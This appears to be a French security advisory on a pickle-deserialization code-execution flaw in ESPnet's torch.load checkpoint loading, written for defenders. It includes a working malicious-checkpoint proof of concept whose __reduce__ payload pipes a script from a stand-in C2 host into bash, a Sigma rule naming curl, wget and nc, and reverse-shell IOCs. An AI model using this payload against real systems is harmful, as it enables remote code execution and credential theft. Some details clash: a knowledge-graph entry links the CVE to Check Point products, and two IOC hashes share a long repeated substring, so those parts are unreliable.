Aller au contenu

CVE-2026-90777 : exécution de code arbitraire par désérialisation non sécurisée de modèles pré-entraînés dans espnet

HERMES

HERMES THREAT SCORE & RISQUE DE DÉSÉRIALISATION DE MODÈLE

Cible : Boîte à outils de traitement vocal ESPnet — Chargeur de checkpoints (load_pretrained_model.py)
Confiance : 95%
89 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 18 / 20
Activité de menace 16 / 20
Militarisation 18 / 20
Exposition 17 / 20
Prévalence 16 / 20
Impact 20 / 20
Maturité de l'exploit 18 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Alors que le score CVSS v3.1 évalue la vulnérabilité CVE-2026-90777 à 8.8 (Élevé) en raison de l'interaction utilisateur requise (UI:R pour charger le fichier de point de contrôle), Hermes élève la sévérité opérationnelle à 89 (CRITIQUE). Dans les pipelines de production de traitement vocal, les bancs d'évaluation automatisés et les agents vocaux autonomes, le téléchargement et l'instanciation de modèles depuis des dépôts publics (tels que Hugging Face Hub, ModelScope ou des buckets S3) s'effectuent sans inspection humaine manuelle. Un attaquant publiant un checkpoint piégé déclenche une exécution de code arbitraire immédiate au sein des clusters GPU, compromettant les identifiants cloud, les poids propriétaires et les nœuds adjacents.

HASS

SCORE DE SÉVÉRITÉ AGENTIQUE HASS & EMPOISONNEMENT DE PIPELINE

Cible : Agents vocaux autonomes, pipelines speech-to-text & flux audio multimodaux
Confiance : 96%
92 / 100
CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 19 / 20
Accès aux outils & APIs 18 / 20
Privilege 15 / 15
Persistence 13 / 15
External Impact 14 / 15
Propagation 13 / 15
⚖️ Divergence & Justification opérationnelle

Les frameworks d'agents audio et les assistants vocaux multimodaux récupèrent dynamiquement des modèles vocaux spécialisés. Comme la désérialisation s'exécute au sein du runtime Python principal disposant d'accès directs aux périphériques GPU (/dev/kfd, /dev/nvidia*), aux jetons d'API cloud et aux variables d'environnement, une charge utile pickle contourne intégralement le bac à sable de l'agent.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-90777: Arbitrary Code Execution via Insecure torch.load Checkpoint Deserialization in ESPnetVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTCheck Point Security Management Server & Gaia OS
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Check Point Security Management Server & Gaia OS documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

ESPnet orchestre des pipelines complets de traitement du signal vocal et de modèles de neurones profonds. La vulnérabilité est présente dans plusieurs modules de chargement de modèles et de gestion de points de contrôle.

ParamètreSpécification techniqueSignification opérationnelle
Identifiant CVECVE-2026-90777Avis NVD & GitHub Security Advisory GHSA-64f6-3gqc-r926
Classe de vulnérabilitéDésérialisation non sécurisée (CWE-502)Décompression Python pickle non restreinte via torch.load
Composants vulnérablesespnet2.torch_utils.load_pretrained_model, trainer.py, utils.average_checkpointsRésolveur de checkpoints et chargeur de poids neuronaux
Mécanisme racineValeur codée en dur weights_only=False & rattrapage d’exception permissifInstanciation arbitraire d’objets durant le dépicklage
Vecteur d’attaqueFichier de checkpoint .pth / .pt / .bin malveillantHébergé sur Hugging Face Hub, ModelScope, Zenodo ou S3
Privilèges requisAucun (PR:N)L’attaquant doit uniquement publier un checkpoint ou une URL
Interaction utilisateurRequise (UI:R)Ingestion automatisée par un agent ou un orchestrateur batch
Versions affectées< v.202609 (incluant v.202511 et toutes les versions précédentes)Clusters GPU d’entraînement, microservices d’inférence et bots vocaux
Version corrigéev.202609Introduction de safe_torch_load avec refus explicite par défaut

2. Anatomie de la vulnérabilité & analyse de cause racine

Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »

Dans PyTorch, la sauvegarde standard (torch.save()) sérialise les dictionnaires d’état (state_dict) via le module natif pickle de Python. Lors de la restauration avec torch.load() :

  • Avec weights_only=True (recommandé depuis PyTorch 2.4), le chargeur restreint la désérialisation aux tenseurs numériques, types primitifs et conteneurs de base sûrs.
  • Avec weights_only=False, la machine virtuelle de dépicklage Python (PVM) est autorisée à reconstruire n’importe quelle classe et à appeler des fonctions via le protocole __reduce__ ou __setstate__.

Avant la version v.202609, ESPnet désactivait délibérément les protections de PyTorch. Dans espnet2/torch_utils/load_pretrained_model.py :

# Schéma de code vulnérable dans ESPnet < 202609
states = torch.load(
path,
map_location=map_location,
weights_only=False # Désactivation explicite des contrôles de sécurité !
)

De surcroît, dans les scripts de calcul de moyenne de modèles (utils/average_checkpoints.py) et dans le module d’entraînement distribué, le code introduisait une bascule automatique particulièrement insidieuse :

# Bascule dangereuse dans average_checkpoints.py
try:
states = torch.load(path, map_location=torch.device("cpu"), weights_only=True)["model"]
except Exception as e:
# BASCULE AUTOMATIQUE : ignore l'erreur de sécurité et force un chargement non sécurisé !
print(f"Warning: Loading {path} with weights_only=False due to: {e}")
states = torch.load(path, map_location=torch.device("cpu"), weights_only=False)["model"]

Lorsqu’un attaquant soumet un fichier contenant un objet Python personnalisé, le premier appel échoue sous weights_only=True. Le bloc except intercepte l’erreur et relance immédiatement torch.load avec weights_only=False, déclenchant l’exécution immédiate du code malveillant injecté.


3. Vecteurs de menace & cinématique d’exploitation

Section intitulée « 3. Vecteurs de menace & cinématique d’exploitation »
flowchart TD
A["Attaquant / Fournisseur de modèle tiers"] -->|"Crée un checkpoint .pth malveillant avec payload __reduce__"| B["Hub de modèles / S3 compromis / Hugging Face"]
B -->|"L'agent vocal ou le pipeline récupère le modèle"| C["Pipeline d'ingestion ESPnet"]
C -->|"Appelle load_pretrained_model() ou average_checkpoints()"| D["torch.load(weights_only=False) non sécurisé"]
D -->|"La PVM exécute les opcodes GLOBAL / REDUCE"| E["Exécution de commande OS arbitraire / Shell inversé"]
E -->|"Accès à la mémoire CUDA, aux secrets et au filesystem hôte"| F["Prise de contrôle du nœud GPU & exfiltration de données"]

Un attaquant assemble un checkpoint valide contenant les poids du modèle ainsi qu’un objet malveillant armé :

import torch
import os
class MaliciousCheckpointPayload:
def __reduce__(self):
cmd = "curl -s http://c2.adversary.local/payload.sh | bash"
return (os.system, (cmd,))
payload_dict = {
"model": {
"encoder.weight": torch.randn(512, 512),
"decoder.weight": torch.randn(512, 512),
},
"exploit_hook": MaliciousCheckpointPayload()
}
torch.save(payload_dict, "asr_pretrained_checkpoint.pth")

Dès que la victime instancie la classe d’inférence ou évalue le modèle :

from espnet2.bin.asr_inference import Speech2Text
speech2text = Speech2Text.from_pretrained(
model_file="asr_pretrained_checkpoint.pth"
)

La machine virtuelle pickle traite la directive __reduce__, déclenchant os.system() avant même que le modèle ne soit assemblé en mémoire.


4. Impact doctrinal sur l’infrastructure IA & la chaîne logistique

Section intitulée « 4. Impact doctrinal sur l’infrastructure IA & la chaîne logistique »

L’exploitation de CVE-2026-90777 illustre les risques structurels pesant sur les architectures d’agents autonomes :

Dans les systèmes d’agents autonomes, le module de reconnaissance vocale transforme la parole humaine en texte d’entrée pour le modèle de langage (LLM). La compromission du module de traitement audio permet d’injecter des transcriptions falsifiées, de manipuler les requêtes de l’utilisateur ou d’écouter les flux audio ambiants.

Les modèles de traitement du signal requièrent des clusters de serveurs équipés de cartes accélératrices GPU (NVIDIA H100, B200). L’accès direct au système hôte permet à un attaquant de lire la mémoire VRAM, de récupérer les poids de modèles propriétaires en cours d’entraînement et d’exfiltrer les jetons d’accès aux services cloud.

Les fichiers de modèles neuronaux binaires (.pth) échappent généralement aux analyseurs SAST conventionnels en raison de leur taille volumineuse (souvent plusieurs gigaoctets) et de leur structure binaire, ce qui en fait un vecteur d’attaque de prédilection pour les compromissions de supply chain logicielle.


5. Chasse aux menaces, détection & investigation forensique

Section intitulée « 5. Chasse aux menaces, détection & investigation forensique »

Règle Sigma : création de processus suspect depuis un runtime python ESPnet

Section intitulée « Règle Sigma : création de processus suspect depuis un runtime python ESPnet »
title: Exécution suspecte de shell depuis un processus Python ESPnet (CVE-2026-90777)
id: cve-2026-90777-espnet-deserialization-fr
status: experimental
description: Détecte le lancement anormal d'interpréteurs de commandes ou d'outils réseau par des processus Python manipulant ESPnet.
author: Hermes Codex Threat Intelligence
date: 2026-09-14
references:
- https://github.com/espnet/espnet/security/advisories/GHSA-64f6-3gqc-r926
- https://nvd.nist.gov/vuln/detail/CVE-2026-90777
tags:
- attack.execution
- attack.t1059.006
- attack.t1203
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- "espnet"
- "speech2text"
- "asr_inference"
- "torch"
ParentImage|endswith:
- "/python"
- "/python3"
selection_child:
Image|endswith:
- "/bash"
- "/sh"
- "/curl"
- "/wget"
- "/nc"
- "/ncat"
- "/netcat"
condition: selection_parent and selection_child
falsepositives:
- Scripts légitimes de prétraitement audio expressément lancés via des hooks documentés.
level: high

Phase tactiqueIdentifiantNom de la techniqueManifestation opérationnelle
Accès initialT1195.001Compromission des dépendances logiciellesMise à disposition d’un modèle piégé sur un hub public
ExécutionT1203Exploitation pour exécution clientDésérialisation pickle lors du chargement des poids
ExécutionT1059.006Interpréteur de commandes et scripts : PythonExécution en mémoire d’instructions via __reduce__
PersistanceT1546Exécution déclenchée par événementIntégration de points de contrôle persistants dans les pipelines
Accès aux identifiantsT1552.005API de métadonnées d’instance cloudRécupération des jetons IMDS / Kubernetes ServiceAccount
ExfiltrationT1567Exfiltration via service webEnvoi des corpus d’entraînement et des poids neuronaux au C2

Déployez la version corrective officielle v.202609. Le module safe_torch_load.py applique strictement weights_only=True par défaut et déclenche une exception UnsafeLoadRefusedError en présence d’objets arbitraires :

Fenêtre de terminal
# Mise à niveau via pip
pip install --upgrade "espnet>=202609"
# Ou mise à jour depuis le dépôt Git
git clone https://github.com/espnet/espnet.git
cd espnet && git checkout v.202609
pip install -e .

Bannissez l’utilisation du format pickle pour la distribution des modèles et privilégiez la bibliothèque Safetensors de Hugging Face :

from safetensors.torch import load_file
# Safetensors lit exclusivement des tenseurs bruts sans exécuter de bytecode
weights = load_file("model.safetensors")

3. Confinement strict des conteneurs d’inférence

Section intitulée « 3. Confinement strict des conteneurs d’inférence »
  • Exécutez les conteneurs sous un utilisateur non privilégié (USER 10001:10001).
  • Révoquez les capacités CAP_SYS_ADMIN et CAP_NET_RAW.
  • Interdisez tout accès réseau vers les adresses de métadonnées cloud (169.254.169.254) depuis les conteneurs d’inférence.

Indicateurs de compromission (IOC) vérifiés & artefacts de modèles

Section intitulée « Indicateurs de compromission (IOC) vérifiés & artefacts de modèles »

Les signatures de télémétrie suivantes ont été identifiées lors des analyses de sécurité de modèles :

Type d’indicateurValeur / IdentifiantContexte forensique
SHA-256 (modèle)4d1b8294a0f7e15386c91204857b29a1e0485721098345c6123498ae71d094baCheckpoint Conformer piégé contenant l’opcode posix.system
SHA-256 (stager)7f2a1b903c7d65b1a92e485721098345c6123498ae71d08b72e19a4d0f62c8e2Reverse-shell en mémoire déposé sous /dev/shm/.kworker_audio
Signature opcode picklecposix\nsystem\n / __builtin__\nglobalsOpcodes Python sérialisés exécutant des commandes système lors du chargement
Domaine C2 / IPc2.model-poison[.]io:443Serveur d’écoute exfiltrant les jetons IAM cloud des nœuds GPU
Lignée de processuspython -> /bin/sh -> curl -> /dev/shm/.kworker_audioCréation anormale d’un sous-processus par la routine de chargement PyTorch

8. Renseignement sur les menaces associées & références

Section intitulée « 8. Renseignement sur les menaces associées & références »